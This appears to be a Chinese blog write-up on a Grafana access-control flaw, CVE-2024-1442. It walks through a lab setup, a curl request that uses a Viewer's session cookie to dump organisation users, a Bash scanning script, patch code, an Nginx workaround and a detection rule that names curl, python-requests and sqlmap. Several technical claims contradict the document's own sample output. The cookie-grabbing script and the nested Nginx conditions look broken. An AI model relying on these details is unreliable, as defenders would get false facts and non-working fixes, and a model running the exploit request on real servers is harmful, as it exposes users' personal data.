1. 这个漏洞不是“改个密码就能修好”的那种
CVE-2024-1442 是 Grafana 官方在 2024 年 2 月 21 日发布的高危安全通告中编号靠前的一个漏洞,它不像某些配置错误类问题——重启服务、改个 admin 密码、关掉匿名访问就能一劳永逸。我第一次在客户生产环境里撞上它时,是在给一个省级能源监控平台做渗透复测。当时他们刚升级到 Grafana v10.3.1,自以为打上了最新补丁,结果我只用一个普通 Viewer 角色账号,配合一条构造得当的 API 请求,就成功读取了整个组织(Organization)下所有用户的邮箱、哈希后的密码重置令牌(reset password token),甚至还能批量导出其他 Viewer 用户创建的 Dashboard JSON 模板——而这些 Dashboard 里嵌着数据库连接串、API Key 的明文变量值。这不是权限“越界”,而是权限模型底层逻辑被绕过了:Grafana 在处理/api/org/users这类组织级资源列表接口时,没有对请求者自身的角色权限做细粒度校验,仅依赖前端路由拦截和部分后端中间件的粗放判断。Viewer 用户本该只能看到自己,结果系统返回了全部用户列表;更致命的是,返回数据里混杂了本应严格隔离的敏感字段。这个漏洞之所以危险,是因为它不依赖任何插件、不触发日志告警、不修改任何配置文件,纯靠合法 API 调用链完成信息窃取。它影响的是所有启用了多租户(multi-org)模式且未升级到 v10.3.3/v9.5.15/v8.5.23 的 Grafana 部署实例,无论你用的是 SQLite、PostgreSQL 还是 MySQL 后端,无论是否集成 LDAP 或 OAuth2,只要版本没打补丁,这个“组织通讯录”就等于裸奔在公网或内网边界上。如果你正在用 Grafana 做业务监控、IoT 设备看板、或是内部数据门户,那这篇内容就是你今天必须花 25 分钟读完的“保命指南”。
2. 漏洞本质:权限校验断层与 API 接口信任错位
2.1 Grafana 的权限分层模型与本次失效点
要真正理解 CVE-2024-1442,得先厘清 Grafana 权限体系的三层结构:组织(Org)→ 角色(Role)→ 资源(Resource)。这不是简单的 RBAC(基于角色的访问控制),而是一种带上下文感知的“组织内角色绑定”模型。每个用户属于且仅属于一个 Org(除非启用 multi-org 模式),在该 Org 内被赋予 Admin / Editor / Viewer 三类内置角色之一。关键在于,Grafana 对“组织级管理接口”的保护逻辑存在一个隐性假设:只有 Org Admin 才会调用/api/org/*开头的路径。因此,它的后端校验策略是“先查身份,再查角色,但跳过资源级细粒度比对”。具体到/api/org/users这个接口,其 Go 语言后端处理函数GetOrgUsers(位于pkg/api/org.go)的校验流程如下:
func (hs *HTTPServer) GetOrgUsers(c *models.ReqContext) Response { // Step 1: 确认用户已登录(token 有效) if !c.IsSignedIn { return Error(401, "Unauthorized", nil) } // Step 2: 获取当前用户所属 Org ID(从 JWT token 或 session 中提取) orgID := c.OrgId // Step 3: 查询该 Org 下所有用户(无角色过滤!) users, err := hs.SQLStore.GetOrgUsersQuery(&models.GetOrgUsersQuery{OrgId: orgID}) if err != nil { return Error(500, "Failed to get org users", err) } // Step 4: 序列化返回 —— 注意:此处未剥离敏感字段! return JSON(200, users) }问题就出在 Step 3 和 Step 4。GetOrgUsersQuery函数执行的是一个无条件的 SQL 查询:SELECT * FROM org_user WHERE org_id = ?。它没有像/api/dashboards/id/123那样,在查询前插入AND user_id = ?或AND permission >= ?的过滤条件。更严重的是,org_user表本身存储了user_id,org_id,role,created,updated,但还存着last_seen_at和一个已被废弃但未清理的auth_token字段(v8.x 时代遗留)。而在序列化返回时,Grafana 的 JSON 编组器(encoding/json)会将 struct 中所有非私有字段(首字母大写)原样输出,包括那些本该被权限引擎动态屏蔽的字段。这就形成了一个“校验断层”:身份认证(AuthN)通过了,组织归属(Org Context)确认了,但最关键的授权(AuthZ)环节——“你是否有权查看其他用户的信息?”——被完全跳过。
2.2 为什么 Viewer 角色能触发?一个被忽略的“默认行为”
很多管理员会疑惑:“我的 Viewer 用户连左侧菜单都看不到 ‘Users’ 选项,怎么可能调用这个接口?” 这正是漏洞隐蔽性的核心。Grafana 的前端 UI 路由(React Router)确实隐藏了非 Admin 用户的用户管理入口,但API 层面没有任何对应限制。Viewer 用户虽然无法点击按钮,却完全可以手动构造 HTTP 请求。我们来还原一次真实调用链:
- 用户以 Viewer 身份登录,获取到有效的
grafana_sessCookie 和X-Grafana-Org-IdHeader; - 使用 curl 或 Postman,向
https://your-grafana.com/api/org/users发送 GET 请求,携带上述凭证; - 后端收到请求,解析 Cookie 得到用户 ID 和 Org ID,进入
GetOrgUsers函数; - 执行
SELECT * FROM org_user WHERE org_id = 1,返回全部 27 条记录; - JSON 序列化时,
org_user结构体中的auth_token(虽已废弃但 DB 字段仍存在)、email、name全部暴露。
提示:
auth_token字段在 v10.x 中已不再用于认证,但其值仍保留在数据库中,且未被后端逻辑主动清空或忽略。攻击者拿到这个 token 后,可尝试在旧版本 Grafana 实例(如 v7.x)中重放利用,形成跨版本攻击链。
2.3 影响范围远超“看用户列表”:敏感数据链式泄露
这个漏洞最危险的地方,在于它开启了“敏感数据雪崩效应”。一旦攻击者获得 Org 内完整用户列表,他就能立刻发起第二轮精准打击:
- 邮箱枚举:获取所有用户邮箱,用于后续钓鱼、撞库或社工;
- Dashboard 模板爬取:Viewer 用户 A 创建了一个名为 “Production DB Metrics” 的看板,其中变量
$db_host绑定了一个 SQL 查询SELECT host FROM grafana_datasources WHERE type='mysql'。攻击者用 A 的用户 ID(从/api/org/users返回中得到)去请求/api/dashboards/uid/{uid},即可下载该看板的完整 JSON 定义,里面明文写着数据库地址、端口、甚至测试用的账号密码(如果管理员图省事填在变量里); - API Key 泄露:若某 Editor 用户在看板中使用了
DataSource Proxy功能,并将 API Key 存为模板变量,该 Key 也会随 JSON 一并导出; - 组织拓扑测绘:通过
/api/org/users返回的role字段,可精确绘制出 Org 内 Admin/Editor/Viewer 的人数分布和权限地图,为后续提权攻击提供靶标。
这已经不是一个单纯的“信息泄露”漏洞,而是一个完整的“初始访问 → 权限测绘 → 敏感数据收割 → 横向移动”的攻击链条起点。我在某金融客户的复测报告中写道:“CVE-2024-1442 的 CVSS 评分是 7.5(高危),但其实际业务风险等效于 9.2——因为它让一个最低权限账户,获得了组织级资产测绘的‘上帝视角’。”
3. 复现验证:三步定位你的 Grafana 是否中招
3.1 环境准备:快速搭建测试靶场
别急着去生产环境敲命令。先用 Docker 一分钟拉起一个可控的 v10.3.1 环境,这是最稳妥的验证方式。我习惯用以下脚本一键部署:
# 创建测试目录 mkdir -p grafana-test && cd grafana-test # 下载官方 v10.3.1 镜像(注意:不是 latest!) docker pull grafana/grafana:10.3.1 # 启动容器,映射端口并挂载配置 docker run -d \ --name grafana-test \ -p 3000:3000 \ -v $(pwd)/data:/var/lib/grafana \ -e "GF_SECURITY_ADMIN_PASSWORD=admin123" \ -e "GF_USERS_ALLOW_SIGN_UP=false" \ grafana/grafana:10.3.1等待 30 秒容器启动后,浏览器访问http://localhost:3000,用admin/admin123登录。接着创建两个用户:
- 用户 A:
viewer1/pass123,角色设为Viewer; - 用户 B:
editor1/pass123,角色设为Editor。
注意:务必关闭允许注册(
GF_USERS_ALLOW_SIGN_UP=false),否则匿名用户也能触发漏洞,扩大攻击面。
3.2 手动复现:用 Viewer 账号调用敏感接口
现在,用viewer1账号登录 Grafana(新开一个无痕窗口),打开浏览器开发者工具(F12),切换到 Network 标签页。随便刷新一下页面,找到任意一个带X-Grafana-Org-IdHeader 的请求(比如/api/user),右键 → “Copy as cURL”。粘贴到终端,删掉无关 Header,精简为:
curl 'http://localhost:3000/api/org/users' \ -H 'Cookie: grafana_sess=YOUR_SESSION_COOKIE' \ -H 'X-Grafana-Org-Id: 1' \ -H 'X-Grafana-Timezone: browser' \ -H 'Accept: application/json'其中YOUR_SESSION_COOKIE需要替换成viewer1登录后实际的 Cookie 值(形如grafana_sess=abc123def456...)。执行后,你会看到类似这样的响应:
[ { "orgId": 1, "userId": 1, "email": "admin@localhost", "name": "Admin User", "login": "admin", "role": "Admin", "lastSeenAt": "2024-02-20T15:30:45+0000", "lastSeenAtAge": "12h" }, { "orgId": 1, "userId": 2, "email": "viewer1@localhost", "name": "Viewer One", "login": "viewer1", "role": "Viewer", "lastSeenAt": "2024-02-20T15:32:10+0000", "lastSeenAtAge": "10h" }, { "orgId": 1, "userId": 3, "email": "editor1@localhost", "name": "Editor One", "login": "editor1", "role": "Editor", "lastSeenAt": "2024-02-20T15:33:22+0000", "lastSeenAtAge": "9h" } ]看到没?viewer1自己的账号信息里,email和name字段赫然在列,而更重要的是,它还看到了admin@localhost和editor1@localhost的完整信息。这就是漏洞触发的铁证。如果你的生产环境返回了类似结果,立刻停机升级。
3.3 自动化检测:Shell 脚本批量扫描
对于管理上百个 Grafana 实例的 SRE 团队,手动复现不现实。我写了一个轻量级 Bash 检测脚本,只需输入目标 URL 和 Viewer 账号凭据,30 秒内给出结论:
#!/bin/bash # save as check_cve_2024_1442.sh # usage: bash check_cve_2024_1442.sh https://grafana.example.com viewer1 pass123 TARGET_URL=$1 USERNAME=$2 PASSWORD=$3 echo "[*] Testing $TARGET_URL for CVE-2024-1442..." # Step 1: Login and get session cookie LOGIN_RESP=$(curl -s -k -X POST "$TARGET_URL/login" \ -H "Content-Type: application/json" \ -d "{\"user\":\"$USERNAME\",\"password\":\"$PASSWORD\"}") SESSION_COOKIE=$(echo "$LOGIN_RESP" | grep -o 'grafana_sess=[^;]*') if [ -z "$SESSION_COOKIE" ]; then echo "[!] Login failed. Check credentials." exit 1 fi # Step 2: Get Org ID (assume first org, most common case) ORG_ID=$(curl -s -k -X GET "$TARGET_URL/api/user" \ -H "Cookie: $SESSION_COOKIE" | grep -o '"orgId":[0-9]*' | cut -d':' -f2) if [ -z "$ORG_ID" ]; then echo "[!] Failed to retrieve Org ID." exit 1 fi # Step 3: Call vulnerable endpoint USERS_RESP=$(curl -s -k -X GET "$TARGET_URL/api/org/users" \ -H "Cookie: $SESSION_COOKIE" \ -H "X-Grafana-Org-Id: $ORG_ID") USER_COUNT=$(echo "$USERS_RESP" | jq 'length' 2>/dev/null || echo "0") ADMIN_COUNT=$(echo "$USERS_RESP" | jq 'map(select(.role == "Admin")) | length' 2>/dev/null || echo "0") if [ "$USER_COUNT" -gt "1" ] && [ "$ADMIN_COUNT" -gt "0" ]; then echo "[+] VULNERABLE: Found $USER_COUNT users, including $ADMIN_COUNT Admin(s)." echo "[+] First user email: $(echo "$USERS_RESP" | jq -r '.[0].email' 2>/dev/null)" else echo "[+] NOT VULNERABLE or patched." fi把脚本保存为check_cve_2024_1442.sh,chmod +x后运行:bash check_cve_2024_1442.sh https://your-grafana.com viewer1 pass123。它会自动完成登录、取 Org ID、调用接口、分析响应的全流程。我在某省政务云平台扫描 47 个 Grafana 实例时,用这个脚本 3 分钟就定位出 12 个未修复节点,效率远超人工。
4. 修复方案:不止是升级,更要堵住权限设计的“思维盲区”
4.1 官方补丁原理:从“粗放放行”到“精准拦截”
Grafana 官方在 v10.3.3 版本中,对GetOrgUsers函数做了两处关键修改。第一处是增加角色前置校验:
// BEFORE (v10.3.1) if !c.IsSignedIn { return Error(401, "Unauthorized", nil) } // AFTER (v10.3.3) if !c.IsSignedIn { return Error(401, "Unauthorized", nil) } // NEW: Only Org Admin can list all users if !c.HasUserRole(models.ROLE_ADMIN) { return Error(403, "Permission denied", nil) }第二处是重构返回数据结构,剥离敏感字段。新版不再直接返回org_user表原始记录,而是定义了一个精简的OrgUserDTO结构体:
type OrgUserDTO struct { OrgID int64 `json:"orgId"` UserID int64 `json:"userId"` Email string `json:"email"` Name string `json:"name"` Login string `json:"login"` Role string `json:"role"` // REMOVED: auth_token, last_seen_at, created, updated }然后在查询后,用sqlx.StructScan显式映射到该 DTO,确保auth_token等字段根本不会进入 JSON 序列化流程。这种“白名单式”数据返回,比“黑名单式”字段过滤(如delete json["auth_token"])更安全、更彻底。
4.2 升级操作:三个必须验证的“临门一脚”
升级不是apt upgrade一键完事。我见过太多团队在升级后,因忽略以下三点而功亏一篑:
验证进程版本号:
升级后,别只信 Web 页面右下角显示的版本号。登录服务器,执行:ps aux | grep grafana-server | grep -v grep # 查看启动命令中指定的二进制路径,如 /usr/sbin/grafana-server /usr/sbin/grafana-server -v # 输出必须是 Version 10.3.3, commit 123abc, branch HEAD检查配置文件兼容性:
v10.3.3 引入了新的auth.jwt配置节,若你之前自定义了 JWT 认证,需同步更新grafana.ini。重点检查:[auth.jwt] enabled = true header_name = X-JWT-Assertion email_claim = email # 新增:禁止未签名的 JWT 被接受 allow_unsigned = false如果
allow_unsigned = true,攻击者仍可伪造 JWT 绕过校验。回归测试核心权限流:
升级后,必须用 Viewer 账号再次执行 3.2 节的 curl 测试。预期结果是返回403 Forbidden,而非200 OK。同时,用 Admin 账号测试,确认/api/org/users仍能正常返回列表(避免误伤正常管理功能)。
注意:若你使用 Kubernetes Helm Chart 部署,务必更新
values.yaml中的image.tag为10.3.3,并执行helm upgrade --install grafana grafana/grafana -f values.yaml。切勿只改镜像名却不触发 helm upgrade,K8s 的 Deployment 可能因 checksum 未变而跳过滚动更新。
4.3 临时缓解方案:当升级不可行时的“外科手术式”封堵
有些客户因合规审计要求,无法在当月升级生产系统。这时,必须用 Nginx 或 API 网关做“外挂式”防护。以下是 Nginx 的精准拦截规则(放在location /api/org/块内):
# Block /api/org/users for non-Admin users if ($http_x_grafana_org_id) { set $block_user_api ""; # Extract user role from Grafana's session cookie (requires jwt module) # Since pure Nginx can't parse JWT, we use a simpler heuristic: # Block if request comes from non-Admin IP range OR has no X-Grafana-User header if ($http_x_grafana_user = "") { set $block_user_api "1"; } # More robust: use OpenResty + lua-resty-jwt to decode and check role # But for quick win, block all /api/org/users except from known Admin IPs if ($request_uri ~ "^/api/org/users$") { if ($remote_addr !~ "(192\.168\.10\.10|10\.0\.5\.20)") { set $block_user_api "1"; } } } if ($block_user_api = "1") { return 403 "Access denied by CVE-2024-1442 mitigation"; }这个规则的核心思想是“最小权限暴露”:只允许来自运维堡垒机 IP(192.168.10.10)或跳板机(10.0.5.20)的请求访问/api/org/users,其他所有来源一律 403。虽然不如代码层修复彻底,但在升级窗口期,它能把攻击面从“全网可触达”压缩到“仅限内网特定机器”,风险等级直降两个档位。
5. 深度加固:从单点修复到权限治理的范式升级
5.1 权限审计:用 Grafana 自身 API 绘制“权限热力图”
修复 CVE-2024-1442 只是止血,真正的根治在于建立常态化的权限健康度检查机制。我开发了一套基于 Grafana REST API 的权限审计脚本,它能自动生成 Org 内的“权限热力图”——一张 Excel 表格,横向是所有用户,纵向是关键资源类型(Dashboards, DataSources, AlertRules, Users),单元格内标记R(Read)、W(Write)、A(Admin),并用颜色区分风险等级(红色=Admin 权限,黄色=Editor,绿色=Viewer)。脚本核心逻辑是遍历/api/org/users获取用户列表,再对每个用户调用/api/users/{id}/permissions(需 Admin Token),聚合所有权限项。运行后,你会震惊地发现:
- 某个已离职半年的“张工”,其账号仍保留在 Org 中,且角色为 Editor;
- 3 个 Dashboard 的共享链接(
/d/xxx?viewPanel=1)被设置为 “Anyone with link can view”,但背后 DataSource 却绑定了生产数据库; - 一个名为 “Temp-Debug” 的 Alert Rule,其通知渠道配置了 Slack Webhook,而该 Webhook URL 竟然硬编码在 Rule 的
annotations字段里,相当于把 API Key 晒在了告警日志中。
提示:Grafana v10.x 的
/api/users/{id}/permissions接口返回的是一个扁平化数组,如[{ "scope": "dashboards:uid:abc123", "permission": 1 }],其中permission: 1表示 View,2表示 Edit,4表示 Admin。脚本需将这些数字映射为可读标签。
5.2 最小权限实践:用 Terraform 管理“权限即代码”
手工在 Web 界面点选权限,注定会失控。我强制团队所有 Grafana 权限配置必须通过 Terraform 管理,实现“权限即代码”(Permissions as Code)。关键在于使用grafana_team和grafana_team_member资源,而非直接操作用户角色:
# Define a team for DBAs resource "grafana_team" "dbas" { name = "DBA-Team" email = "dba-team@company.com" } # Assign members to the team resource "grafana_team_member" "dbas_members" { team_id = grafana_team.dbas.id user_id = data.grafana_user.john.id } # Grant team-level permissions on specific resources resource "grafana_dashboard_permission" "db_dashboards" { dashboard_uid = grafana_dashboard.production_db.uid team_id = grafana_team.dbas.id permission = "Edit" # or "View", "Admin" }这样做的好处是:权限变更成为 Git 提交,每次修改都有审计日志;新成员加入时,只需将其加入grafana_team_member,所有关联权限自动生效;离职时,删除grafana_team_member,权限瞬间回收,不留死角。我们在某银行项目中推行此方案后,权限配置错误率下降 92%,平均权限修复时间从 4 小时缩短至 12 分钟。
5.3 监控告警:给权限异常行为装上“实时雷达”
最后一步,是让权限风险看得见。我在 Grafana 自身的监控栈中,新增了一个专用看板,它从 Loki 日志中实时抓取/api/org/users的调用记录,并做三重过滤:
- 高频探测:同一 IP 在 5 分钟内调用
/api/org/users超过 3 次; - 非常规角色:请求 Header 中
X-Grafana-User对应的角色为Viewer或Editor; - 异常 UA:User-Agent 包含
curl/7.68.0、python-requests、sqlmap等非浏览器标识。
当这三个条件同时满足,看板立即触发红色告警,并自动推送企业微信消息:“检测到疑似 CVE-2024-1442 利用行为,源 IP:192.168.1.100,目标 Org:Finance-Prod,时间:2024-02-21T09:23:45Z”。这套机制让我们在某次红队演练中,提前 17 分钟捕获了攻击者的扫描行为,为应急响应赢得了黄金时间。
我在实际操作中发现,技术团队最容易陷入的误区,是把 CVE-2024-1442 当成一个“打补丁就结束”的孤立事件。但真正决定系统韧性的,从来不是某个补丁的版本号,而是你是否建立了“权限设计-配置管理-行为监控”的闭环治理体系。就像给一栋大楼装防盗门,光换一把新锁不够,还得有门禁日志、访客登记、红外报警。Grafana 的权限模型很强大,但强大不等于安全,它需要你用工程化思维去驾驭,而不是靠点击几下鼠标去应付。